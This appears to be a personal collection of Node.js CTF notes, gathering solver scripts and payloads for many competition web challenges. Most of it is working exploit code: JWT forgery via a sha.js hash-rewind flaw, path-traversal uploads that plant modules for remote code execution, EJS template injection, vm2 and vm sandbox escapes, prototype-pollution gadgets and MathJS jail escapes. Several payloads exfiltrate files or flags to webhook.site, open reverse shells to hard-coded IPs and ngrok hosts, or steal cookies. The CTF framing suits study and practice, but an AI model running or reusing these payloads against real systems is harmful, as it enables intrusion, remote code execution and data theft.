Skip to content

Categories

Node / JS

https://hackerone.com/reports/2819573Referensi dari sini:https://stackoverflow.com/questions/35949554/invoking-a-function-without-parenthesesCheck jawaban nomer 7https://github.com/daffainfo/ctf-write...

Created

Updated

14 min read

Reading time

3 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Node / JS

eezzjs

Event NameN1CTF 2025
GitHub URLhttps://github.com/Nu1LCTF/n1ctf-2025/tree/main/web
Challenge Nameeezzjs
Attachments
References

solution 1

eezzjs:

  1. forge our JWT with vulnerable sha.js lib (https://github.com/browserify/sha.js/security/advisories/GHSA-95m3-7q98-8xr5)
const sha = require('sha.js')
const sha256 = (...messages) => {
  const hash = sha('sha256')
  messages.forEach((m) => {console.log('[DEBUG] m =', m); hash.update(m)})
  return hash.digest('hex')
}

const header = {
    "typ": "JWT",
    "alg": "HS256"
};
var payload = {
    "exp": 9999999999,
    "foo": "bar",
    "length": -45
};
const secret = 'a'.repeat(18);
console.log(sha256(...[JSON.stringify(header), payload, secret]));
  1. RCE via executing our own custom Express.js view engine:
  • upload pwned.pwned to /app/views/pwned.pwned:
{"filename":"../views/pwned.pwned","filedata":"dGVzdAo="}
  • upload pwned to /app/node_modules/:
{"filename":"../node_modules/pwned","filedata":"ZnVuY3Rpb24gX19leHByZXNzKCkgewogICAgY29uc29sZS5sb2coJ3B3bmVkYicpOwp9Cgptb2R1bGUuZXhwb3J0cyA9IHsgX19leHByZXNzIH07"}
  • import our pwned module:
/?templ=pwned.pwned

^ Express.js will import module pwned and call function __express

solution 2

My solver for eezzjs:

import httpx
import base64
from secrets import token_hex


def b64url(b: bytes) -> str:
    return base64.urlsafe_b64encode(b).rstrip(b"=").decode("ascii")

url = "<http://127.0.0.1:3500>"
url = "<http://60.205.163.215:25217>"
HOST = url

c = httpx.Client(base_url=url)

header = b'{"alg":"HS256","typ":"JWT"}'
body = b'{"length":-%d,"username":"admin"}' % (len(header) + 18)

# might be library dependent, i tried to hash empty strings but always got e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
# sha.js seems to return this hash on empty state
magic_hash = "674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1"

token = b64url(header) + "." + b64url(body) + "." + magic_hash

c.cookies.update({"token": token})
print(f"{token = }")

ssti_payload = b"""
<%
  const cp = (Function('return process'))().mainModule.require('child_process');
  const data = cp.execSync('cat /flag', 'utf8');
%>
<pre><%= data %></pre>
"""
nonce = token_hex(2)
r = c.post(
    "/upload",
    json=dict(
        filename="../../app/views/exploit_%s.ejs/a/.." % nonce,
        filedata=base64.b64encode(ssti_payload).decode(),
    ),
)
print(r.text)
assert r.status_code != 302

r = c.get("/?x=../../", params={"templ": "exploit_%s.ejs" % nonce})
print(r.text)

solution 3
solution 4

eezzjs:

跑一下npm audit发现存在CVE,甚至给出的链接里面有PoC

# npm audit report

sha.js  <=2.4.11
Severity: critical
sha.js is missing type checks leading to hash rewind and passing on crafted data - https://github.com/advisories/GHSA-95m3-7q98-8xr5
fix available via `npm audit fix --force`
Will install sha.js@2.4.12, which is outside the stated dependency range
node_modules/sha.js

1 critical severity vulnerability

To address all issues, run:
  npm audit fix --force

很快啊,使用 {length: -x} 回退全部hash状态即可让签名为定值就能伪造登录了

let h = { alg: 'HS256', typ: 'JWT' }
let eh = toBase64Url(JSON.stringify(h))
let p = { length: -(JSON.stringify(h).length + JWT_SECRET.length) }
let s = '674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'

任意文件写就ban了个js后缀,express加载模板的时候会根据后缀去require包,直接往node_modules里面写就行,利用代码如下:

import requests
import base64

target = 'http://60.205.163.215:49417'
token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZW5ndGgiOi00NX0.674dcdbbb09261235ee8efc1999daee725dad0ec314a8d1d80cb11229e7596c1'

filedata = '''
const child_process = require('child_process');
exports.__express = function() {
  var args = Array.prototype.slice.call(arguments);
  cb = args.pop();

  cb(null, child_process.execSync('cat /flag', {encoding: 'utf8'}));
}
'''.strip().encode()

url = f'{target}/upload'
data = {
    'filedata': base64.b64encode(filedata).decode(),
    'filename': '../node_modules/hhxx',
}
cookies = {
    'token': token,
}

resp = requests.post(url, json=data, cookies=cookies)
print(resp.text)

url = f'{target}/upload'
data = {
    'filedata': base64.b64encode(b'').decode(),
    'filename': '../views/hack.hhxx',
}
cookies = {
    'token': token,
}

resp = requests.post(url, json=data, cookies=cookies)
print(resp.text)

url = f'{target}/?templ=hack.hhxx'
r = requests.get(url)
print(r.text)

Server Side Prototype Pollution using IMPORT?

Event NameProject Sekai CTF 2025
GitHub URLhttps://github.com/project-sekai-ctf/sekaictf-2025/
Challenge Namevite
Attachments
References

1. Mutation-Based XSS + V8 type confusion + V8 sandbox escape = RCE on Basecamp.

https://hackerone.com/reports/2819573

Prototype pollution gadget cheat sheet

Some JS bypass Array.from to make a dict become array

Event Nameb01lers 2025
GitHub URL-
Challenge Nameno-code
Attachments
References

Image
solver
from urllib.parse import urlencode, urlparse, urlunparse

def flatten_dict(d, parent_key='', sep='[', suffix=']'):
    items = []
    for k, v in d.items():
        new_key = f"{parent_key}{sep}{k}{suffix}" if parent_key else k
        if isinstance(v, dict):
            items.extend(flatten_dict(v, new_key, sep, suffix).items())
        elif isinstance(v, list):
            for i, item in enumerate(v):
                items.extend(flatten_dict(item, f"{new_key}{sep}{i}{suffix}", sep, suffix).items())
        else:
            items.append((new_key, v))
    return dict(items)

def generate_url(base_url, params):
    # Flatten nested dictionary structure
    flat_params = flatten_dict(params)

    print(flat_params)
    
    # Encode parameters with array syntax
    query_string = urlencode(flat_params)
    
    # Parse and rebuild URL with proper encoding
    url_parts = list(urlparse(base_url))
    url_parts[4] = query_string
    return urlunparse(url_parts)

# Example usage matching the provided URL
params = {
    "page": "contact",
    "props": {
        "__proto__": {
            "children": {
                0: {
                    "tag": "base",
                    "attributes": {
                        "href": "https://b6d1-182-253-48-65.ngrok-free.app"
                    },
                    "children": "foo"
                },
                "length": 1
            },  
        }
    }
}

base_url = "http://localhost:8000/contact"
print(generate_url(base_url, params))

Fastify prototype pollution to XSS

Event Nameb01lers 2025
GitHub URL-
Challenge Nameno-code
Attachments
References

http://localhost:8000/scripts/?__proto__[statusCode]=500&__proto__[status]=a&__proto__[content-type]=text/html&__proto__[body]=gg&__proto__[message]=%3Cscript%3Ealert(1)%3C/script%3E

Some JS bypass instanceof

Event NamePlaid CTF
GitHub URL-
Challenge Name-
Attachments
References

Image

Easy Right?

Event NameARA CTF Quals 2025
GitHub URL-
Challenge NameEasy Right
Attachments

Referensi dari sini:

https://stackoverflow.com/questions/35949554/invoking-a-function-without-parentheses

Check jawaban nomer 7

#{x='global\x2ep\x72ocess\x2emainModule\x2econ\x73tructor\x2e_load\x28\x27child_p\x72ocess\x27\x29\x2ee\x78ec\x28"curl\x20https://webhook\x2esite/65986ea6-ac85-4460-a5b0-430301ccbd2f\x20-d\x60cat\x20/*\x2etxt\x60"\x29'}

#{x  instanceof  {[Symbol['hasInstance']]:   globalThis['ev'+'al']}}

node / js

# Under Construct (CTFZone 2023)

https://github.com/daffainfo/ctf-writeup/tree/main/CTFZone 2023 Quals/Under construction

<!DOCTYPE html>
<html lang="en">
<head>
    <script>
        var socket = new WebSocket("ws://127.0.0.1:9229/e088028c-dabc-46e3-8523-68a903b44a5c");
        var send_message = (message)=> {
            try {
                let xmlHttp = new XMLHttpRequest();
                xmlHttp.open("POST", "<https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>", false);
                xmlHttp.send(message);
            } catch (e) {
            }
        }
        send_message("Connection established")
        socket.onopen = function() {
            socket.send(JSON.stringify({
                id: 1,
                method: 'Runtime.enable'
            }))
            socket.send(JSON.stringify({
                id: 2,
                method: "Runtime.evaluate",
                params: {
                    expression: "eval(process.mainModule.require('child_process').exec('curl -X PUT -d \\"$(sudo /bin/cat /root/flag.txt)\\" <https://webhook.site/9d7bb9b9-c05a-4264-9f23-bc3c030b7e9a>'))"
                }
            }))
        };
    </script>
</head>
<body>
</body>
</html>

EJS Exploit

https://hackmd.io/121tmbyPQ9SV8qLHhe5Ykw

http://localhost:3000/greet?name=dimas&font=Arial&fontSize=20&settings[view+options][client]=1&settings[view+options][escapeFunction]=console.log;return%20global.process.mainModule.constructor._load(%22child_process%22).execSync(%22ls%22);

VM2 Sandbox escape

https://gist.github.com/leesh3288/f693061e6523c97274ad5298eb2c74e9

const {VM} = require("vm2");
const vm = new VM();

const code = `
async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}
p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }
            )
        }
    }
};
p.then();
`;

console.log(vm.run(code));

Node EJS to XSS.

Seccon ctf quals 2023 challenge eeeeejs https://blog.arkark.dev/2023/09/21/seccon-quals/

<http://eeeeejs.seccon.games:3000/?filename=render.dist.js&src=asd&settings[view%20options][delimiter]=%20&settings[view%20options][openDelimiter]=(opts.debug)&settings[view%20options][closeDelimiter]=%20%20%20%20%20%20%20var%20returnedFn%20=>

<http://eeeeejs.seccon.games:3000/?markup=%3Ca%20name=%22%3Cscript%20src=%27?client%3D1%26markup=top.location%3D`https://onzihdie.requestrepo.com`.concat(document.cookie)%26filename=render.dist.js%26settings[view%20options][openDelimiter]%3DscapeXML%20%3D%20function(markup)%20{%250A%20%20%20%20%20%26settings[view%20options][closeDelimiter]%3D%20%20%20};%26delimiter%3D%20%26%27%3E%3C/script%3E%22%3E%3C/a%3E&_MATCH_HTML=a%20name&encode_char=iframe%20srcdoc&filename=render.dist.js&settings[view%20options][openDelimiter]=scapeXML%20=%20function(markup)%20{%0A%20%20%20%20%20&settings[view%20options][closeDelimiter]=%20%20%20};&delimiter=%20&client=1>

<http://localhost:3000/?settings[view+options][delimiter]=+&settings[view+options][openDelimiter]=if+(opts.debug)&settings[view+options][closeDelimiter]=+++++++var+returnedFn+=+opts.client+?+fn+:&&filename=render.dist.js&name=u&src[<script+src="/?settings%255bview%2boptions%255d%255bdelimiter%255d%3d%2b%26settings%255bview%2boptions%255d%255bopenDelimiter%255d%3dif%2b(opts.debug)%26settings%255bview%2boptions%255d%255bcloseDelimiter%255d%3d%2b%2b%2b%2b%2b%2b%2bvar%2breturnedFn%2b%3d%2bopts.client%2b%3f%2bfn%2b%3a%26settings%255bview%2boptions%255d%255bdebugx%255d%3d1%26%26filename%3drender.dist.js%26name%3du%26src%3dalert(1);%3b%26opts%3d1"></script>]=xss&opts=1>

If we need to exploiting process that didn't had process.mainModule

vsctf 2023

https://itnext.io/how-i-exploited-a-remote-code-execution-vulnerability-in-fast-redact-9e69fa35572fhttps://jwlss.pw/mathjs/

list of binding function https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/lib/internal/bootstrap/realm.js#L87

JSDOM

let spawnSync = this.constructor.constructor(`

spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(' ');typeof a.shell==='string'?c=a.shell:c='/bin/sh',b=['-c',g];}typeof a.argv0==='string'?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+'='+d[f]);return{file:c,args:b,options:a,envPairs:e};}

return function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:'pipe',readable:!0,writable:!1},{type:'pipe',readable:!1,writable:!0},{type:'pipe',readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}console.log(a);var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!=='buffer')for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + 'spawnSync '+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;}

`)()

let exec = (x)=>spawnSync("bash",['-c',x])

console.log(exec("sh -i >& /dev/tcp/108.137.37.157/4444 0>&1"))

another solution:

JSDOM

<script>
    window._globalObject.__proto__.__proto__.__proto__.argv0 = "require('child_process').execSync('bash -c \\"bash -i >& /dev/tcp/8.tcp.ngrok.io/13228 0>&1\\"')//";
    window._globalObject.__proto__.__proto__.__proto__.shell = "/proc/self/exe";
    window._globalObject.__proto__.__proto__.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline";
    const req = new XMLHttpRequest();
    req.open('GET', '<http://foo/>', false);
    req.send();
</script>

another solution:

using node api plugin

#include <node_api.h>
#include <array>
#include <memory>
#include <string>
#include <cstdio>

napi_value RunReadFlag(napi_env env, napi_callback_info info)
{
  napi_value output;

  std::array<char, 128> buffer;
  std::string result;
  std::unique_ptr<FILE, decltype(&pclose)> pipe(popen("./readflag", "r"), pclose);

  while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr)
  {
    result += buffer.data();
  }

  napi_create_string_utf8(env, result.c_str(), result.length(), &output);
  return output;
}

NAPI_MODULE_INIT()
{
  napi_value method;
  napi_create_function(env, "exports", NAPI_AUTO_LENGTH, RunReadFlag, NULL, &method);
  return method;
}
<body>
  <script>
    const outerRealmFunctionConstructor = Node.constructor;
    const process = new outerRealmFunctionConstructor("return process")();
    const g = new outerRealmFunctionConstructor("return global")();
    const fs = process.binding('fs');
    const c = process.binding('constants').fs;

    const readdir = new fs.FSReqCallback();
    readdir.oncomplete = (err, files) => {
      g.console.log("Directory contents", files);
      g.fetch("https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd", {
        method: "post",
        body: JSON.stringify(files),
      });
    };
    fs.readdir("./", "utf8", false, readdir);

    const addon = "// base64 encoded addon.node\\n";

    // <https://github.com/nodejs/node/blob/c9e72e34abec1eb29fcaae3bf56fb4db76b532ec/src/node.h#L1056>
    const base64 = 2;
    const buf = process.binding("buffer").createFromString(addon, base64);
    g.console.log("created buf", buf.byteLength);

    const open = new fs.FSReqCallback();
    open.oncomplete = (err, fd) => {
      g.console.log("opened file", fd);
      const write = new fs.FSReqCallback();
      write.oncomplete = (err, written) => {
        g.console.log("wrote file", written);
        const close = new fs.FSReqCallback();
        close.oncomplete = (err) => {
          g.console.log("closed file", fd);
          const module = { exports: {} };
          process.dlopen(module, "./addon.node");
          g.console.log("loaded module", module.exports);
          flag = module.exports();
          g.console.log("flag", flag);
          g.fetch("<https://webhook.site/bad76e73-9507-4679-ba3c-a47d0d40bfdd>", {
            method: "post",
            body: flag,
          });
        };
        fs.close(fd, close);
      };
      fs.writeBuffer(fd, buf, 0, buf.byteLength, 0, write);
    };
    fs.open("./addon.node", c.O_TRUNC | c.O_CREAT | c.O_WRONLY, 0o777, open);
  </script>
</body>

New way to prototype polution

https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON CTF 2023/Harmony

Object.defineProperty(Object.prototype, './lib/renderer/api/ipc-renderer.ts', {
    set(v) {
        console.log('set', v)
        this.module.exports._load('child_process').execSync('touch foobar')
    }
})

VM Bypass

bypassing vm jail with some prototype pollution

cr3ctf 2024

const { workerData, parentPort } = require('worker_threads');

require("./worker_globals.js");

const vm = require('vm');

const secret = process.env["SECRET"];
const flag = process.env["FLAG"];

const stringifyVMOutput = (value) => {
    let result = '';

    switch (typeof value) {
        case 'string':
        case 'object':
            result = JSON.stringify(value);

        default:
            result = String(value);
    };

    const cr3Pattern = /cr3\{(.*?)\}/i;
    const cr3MatchSecret = secret.match(cr3Pattern);
    const cr3MatchFlag = flag.match(cr3Pattern);

    if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
        return "you don't wanna see it, trust me...";
    }

    return result;
};

process.env = null;
process = null;
fetch = null;

const moduleRequire = globalThis.module.require;
globalThis.module.require = (id) => {
    const whitelist = [
        "crypto",
        "path",
        "buffer",
        "util",
        "worker_threads",
        "stream",
        "string_decoder",
        "console",
        "perf_hooks"
    ];

    if (!whitelist.some(p => id == p))
        return;

    return moduleRequire(id);
}

let result;
try {
    result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));

    parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
    parentPort.postMessage(e.message);
}

sol:

new Proxy({}, {
    get: function(me, key) { return (arguments.callee.caller.constructor('Array.prototype.some = () => true;r=globalThis.module.require;r(r("fs").readFileSync("/proc/self/environ").toString())')) }
  })
(function(){k = this; return ({ toJSON: function() {return arguments.callee.caller.constructor(`globalThis.module.require("worker_threads").parentPort.postMessage(globalThis.module.require("util").format(globalThis.storage))`)()} })})()

jscript Revenge

cr3ctf 2024

including v8 reverse engineering

const { workerData, parentPort } = require('worker_threads');

require("./worker_globals.js");
const { runBytecodeFile } = require("./bytecode.js")

globalThis.require = require;

runBytecodeFile("./utils.jsc")();

const vm = require('vm');

const secret = process.env["SECRET"] || "cr3{test_secret}";
const flag = process.env["FLAG"] || "cr3{test_flag}";

const stringifyVMOutput = (value) => {
    let result = '';

    switch (typeof value) {
        case 'string':
        case 'object':
            result = JSON.stringify(value);

        default:
            result = String(value);
    };

    const cr3Pattern = /cr3\{(.*?)\}/i;
    const cr3MatchSecret = secret.match(cr3Pattern);
    const cr3MatchFlag = flag.match(cr3Pattern);

    if ((cr3MatchSecret && result.includes(cr3MatchSecret[1])) || (cr3MatchFlag && result.includes(cr3MatchFlag[1]))) {
        return "you don't wanna see it, trust me...";
    }

    return result;
};

process.env = {};
process = null;
fetch = null;

let result;
try {
    result = vm.runInNewContext(`(() => { return ${workerData} })();`, Object.create(null));

    parentPort.postMessage(stringifyVMOutput(result));
} catch (e) {
    parentPort.postMessage(e.message);
}

sol

new Proxy({}, {
    get: function (me, key) {
        return (arguments.callee.caller.constructor(`
        const e=(a)=>{throw Error(a)};
        js=JSON.stringify;
        JSON.stringify=x=>x;
        String=x=>x;
        q={includes:e};
        arguments.callee.caller(q);
`))
    }
})
(function(){return ({ toJSON: function() {k = arguments.callee.caller.constructor(`globalThis.storage.__defineGetter__('p', function(){ return this.secret });return btoa(globalThis.storage.p);`)()}, toString: () => k })})()
new Proxy(_=>_ , {
    get: new Proxy(_=>_ , {
      apply: function(target, thisArg, argumentsList) {
          return argumentsList.constructor.constructor(`
            let leak;
            const stream = secureRequire('stream');
            const console = secureRequire('console');
            const out = stream.Writable({
                write(data) {
                    leak = data;
                }
            });
            const logger = new console.Console({ stdout: out });
            logger.dir(storage);
            return Array.from(leak).toString();
          `);
        }
    })
})

qs lib preserves order

cr3 ctf 2024

http://localhost:3000/?role[10]=%3Cimg%20src=x%20onerror=alert(1)%3E&role=x&role=user

our payload will be appended in the last

{ role: [ 'x', 'user', 'userx', '<img src=x onerror=alert(1)>' ] }]

Bypassing double find by using Math.random in mongodb $where query

r3CTF 2024

case:

  const { password, ...query } = /** @type {any} */ (req.body)
  await verifyUser(query, password)
  const { username, premium } = await Users.findOne(query)

We can try this method to bypass the issue. It has a 50% chance of success.

            res = api.login({
                "password": password,
                "$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
            })

Node 22 have builtin WebSocket support that we can access throught port 9229

node 22 have builtin WebSocket support. if we can

FROM node:22.2.0-bullseye

Arbitary file write and read using wasi in node 22, wasi supported event with this flag

      execArgv: [...process.execArgv, `--experimental-permission`, `--allow-fs-read=${agentPath}`],

https://github.com/pgavlin/warp/blob/3940e3f84750a723747c516c2cf5139b6e68cfc2/wasi/testdata/hello_world_file.wast#L2

  1. for final payload swap test.wasm to Buffer.from([...]) as file read isn't really allowed
  2. 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

    ⁠✓-JustMongo⁠ test.wabt

  3. 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

    apt install wabt

  4. 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

    wat2wasm test.wabt

  5. 2024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:002024-06-10T07:06:00.000+08:00

    you get the test.wasm file that will get executed

  6. 2024-06-10T07:07:00.000+08:002024-06-10T07:07:00.000+08:002024-06-10T07:07:00.000+08:00

    for ref I patched sandbox.mjs with

import { WASI } from 'wasi';
import { argv, env } from 'node:process';
import { readFile } from 'node:fs/promises';

const wasi = new WASI({
  version: 'preview1',
  args: argv,
  env,
  preopens: {
    '/': '/tmp',
  },
});

export async function main() {
    const wasm = await WebAssembly.compile(
        await readFile('test.wasm'),
    );
    const instance = await WebAssembly.instantiate(wasm, wasi.getImportObject());

    wasi.start(instance);
}
import httpx
import random

URL = "http://localhost:3000"
# URL = "http://ctf2024-entry.r3kapig.com:31142/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.Client(base_url=url)
    def register(self, json):
        return self.c.post("/api/register", json=json)
    def login(self, json):
        return self.c.post("/api/login", json=json)
    def session(self, token):
        return self.c.get("/api/session", params={"token": token})
    def run(self, code, token):
        return self.c.post("/api/run", json={"code": code, "token": token})

class API(BaseAPI):
    ...

if __name__ == "__main__":
    api = API()
    username = random.randbytes(8).hex()
    password = random.randbytes(8).hex()
    api.register({"username": username, "password": password})
    while True:
        try:
            res = api.login({
                "password": password,
                "$where": f'Math.random() < 0.5 ? this.username === "admin" : this.username === "{username}";',
            })
            if res.status_code == 500:
                continue
            token = res.json()['token']
            res = api.session(token)
            plan = res.json()['plan']
            if plan == "premium":
                print("admin token:", token)
                break
        except Exception as e:
            continue
    res = api.run("""
export async function main() {
    process.kill(process.ppid, "SIGUSR1");

    await new Promise(r => setTimeout(r, 300));

    const path = await fetch("http://127.0.0.1:9229/json/list").then(x => x.json());
    const ws = new WebSocket(path[0].webSocketDebuggerUrl);
    await new Promise(r => ws.onopen = r);

    const data = `process.execArgv=['--allow-fs-read=*', '--allow-fs-write=*', '--allow-child-process'];`;
    ws.send(JSON.stringify({ 'id': 1, 'method': 'Runtime.evaluate', 'params': { 'expression': data } }));

    const msgs = [];
    ws.onmessage = (msg) => msgs.push(msg.data);

    await new Promise(r => setTimeout(r, 300));
    return msgs;
}
""", token)
    print(res.text)
    res = api.run("""
import * as cp from "child_process";
export async function main() {
    return cp.execSync("id").toString();
}""", token)
    print(res.text)

well maybe we can do something simeple using process binding? not tested

Constructor join to polute an object

When the reduce is used and will be called in the next code with more thank 2 argument, we can polute first argument with value of second argument using constructor.assign

	var methodToCall = parts.reduce(function (prev, cur) {
		if (prev !== null && prev[cur]) {
			return prev[cur];
		}
		return null;
	}, Namespaces);
	async.waterfall([
		function (next) {
			if (Namespaces[namespace].before) {
				Namespaces[namespace].before(socket, eventName, params, next);
			} else {
				next();
			}
		},
		function (next) {
			methodToCall(socket, params, next);
		},
	], function (err, result) {
		console.log('result', err, result);
		callback(err ? { message: err.message } : null, result);
	});
function requireModules() {
	var modules = [
		'user',
		'button',
		'room'
	];

	modules.forEach(function (module) {
		Namespaces[module] = require('./' + module);
	});
}

solver:

import httpx
import asyncio
import socketio

URL = "http://funny-buttons.ctfz.zone/"

class BaseAPI:
    def __init__(self, url=URL) -> None:
        self.c = httpx.AsyncClient(base_url=url)

    def register(self, username, password):
        return self.c.post("/register", json={
            "username": username,
            "password": password
        })

    def login(self, username, password):
        return self.c.post("/login", json={
            "username": username,
            "password": password
        })

class API(BaseAPI):
    ...

async def main():
    api = API()
    res = await api.register("foobar", "hehe")
    res = await api.login("foobar", "hehe")
    print(res.text)
    async with socketio.AsyncSimpleClient() as c:
        await c.connect(str(api.c.base_url), headers={"Cookie": f"connect.sid={api.c.cookies.get('connect.sid')}"})
        async def communicate(msg: str, data, receive_response: bool = True):
            print(f'Sending {msg} with {data = }')
            await c.emit(msg, data)
            if receive_response:
                try:
                    method, resp = await c.receive(timeout=5)
                    print(f'Received response for {method}: {resp}')
                except:
                    return None
                return resp
            return None
        await communicate("constructor.assign", {"uid": 1}, False)
        await communicate("user.getInfo", {})
        uid = 17
        resp = {'pressed': False}
        while not resp['pressed']:
            resp = await communicate("button.press", {"id": uid})
        res = await communicate("button.get", {"id": uid})


if __name__ == "__main__":
    asyncio.run(main())

MathJS if there’s prototype polution

https://ctf.m0lecon.it/challenge

there’s a waf

fx(x)=fy(y)=equalText(y, "constructor")
do_call(x)=x()
fz(x)=do_call(x.getOwnPropertyDescriptor(x.getPrototypeOf(x), 'constructor').value("alert('hacked')"))
to_xy({}, [["hasOwnProperty",  fx, "x"], ["x", fz, "constructor"]])

with no prototype polution, idek ctf 2024 clyde jail

win2(module) = module._load('child_process').execSync('/readflag').toString()
win(global) = global.console.log(win2(global.Reflect.get(global.Reflect.get(global.process, 'mainModule'), 'constructor')))
p(e, c) = win(c.shift().getThis())
proto.prepareStackTrace = p

property = {value: 1}
proto.type='SymbolNode'
proto.isNode=true
proto.isConstantNode=true
proto.isObjectNode=true
proto.value='constructor'
proto.properties={}

Object = simplifyConstant(parse('a[x]'))
Array = Object.getPrototypeOf([].toArray())
Object.defineProperty(Array, 'push', property)
#!/usr/bin/env python3
import time
from pwn import remote

conn = remote("127.0.0.1", 1337)

time.sleep(0.5)

"""

- ObjectNode checks that the properties it is created with are safe. it does this by calling stringify (from utils/string.js) on the key. this looks like

export function stringify (value) {
  const text = String(value)
  let escaped = ''
  let i = 0
  while (i < text.length) {
    const c = text.charAt(i)
    escaped += (c in controlCharacters) ? controlCharacters[c] : c
    i++
  }

  return '"' + escaped + '"'
}

so you can just pollute e.g. '#' to 'n', so that when you create an object with the key 'toStri#g', it'll change the name to 'toString'


- object accesses are done via the AccessorNode/IndexNode and check that the property is a "safe property" according to utils/customs.js; you can call _compile with any arguments of your choosing

using the above, this means that you can just call it with some object which passes the first few checks (by toString -> foo) but then switches to a dangerous one on the actual access :)


- you can get Object with this. to get global scope, we can use the Error.prepareStackTrace api (inspired by https://github.com/maple3142/My-CTF-Challenges/tree/master/HITCON%20CTF%202023/Canvas)
but since mathjs is all in strict mode, we can't getThis(): https://v8.dev/docs/stack-trace-api#:~:text=To%20maintain%20restrictions

luckily, the cli code itself isn't strict mode, so we can just force the cli code to error (by overwriting e.g. Array.prototype.push) and win from there

you need to error in the right place so that this is the global object, and in the cli code i think the only place that works is the completer function

"""


conn.sendline("""\
proto["#"] = "n";

cnt = 2;
switcher() = (cnt = cnt - 1) ? "name" : "constructor";
returnSwitcher(x) = switcher;

has(x) = true;

c = resolve('{ "toStri#g": switcher }');
c = c._compile({},{});
c = c({ has: has, get: returnSwitcher });

isObjectProperty() = true;
getObjectProperty() = c;
index(x) = { isObjectProperty: isObjectProperty, getObjectProperty: getObjectProperty };
has(x) = true;
get(x) = { "1": "" };
scope = { has: has, get: get };

acc = resolve("foo[0]")._compile({ index: index },{});
Object = acc(scope);

getOwn(obj, prop) = Object.getOwnPropertyDescriptor(obj, prop).value;

win2(load) = load("child_process").execSync("/readflag");
win(global) = global.console.log(win2( global.Reflect.get( global.Reflect.get( getOwn(  Object.getOwnPropertyDescriptors(global).process.get(), "mainModule"  ), "constructor" ), "_load" ) ).toString());

prepareStackTrace(x,y) = win(  getOwn(y,0).getThis()  );
proto.prepareStackTrace = prepareStackTrace;

Object.defineProperty(Object.getPrototypeOf([].toArray()), "push", { value: null });

""".replace("\n", "").encode())

# here it would be easier to just do conn.interactive() and tab for completer manually, but this needs to be automated
time.sleep(0.25)
conn.send(b"ang")
time.sleep(0.25)
conn.send(b"\t")
time.sleep(0.25)

res = conn.recvall().decode()
if "idek{" not in res:
    exit(1)
exit(0)

Exploiting prototype polution in nodejs without filesystem

https://portswigger.net/research/exploiting-prototype-pollution-in-node-without-the-filesystem

in mongoose you can gain RCE if you can control populate (Yatter || TSGCTF)

https://hackmd.io/@n4o847/BkUU7EPmp

Categories & Topics

This note is categorized under the following topics. Click on any category to explore more related content.

Share this note

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.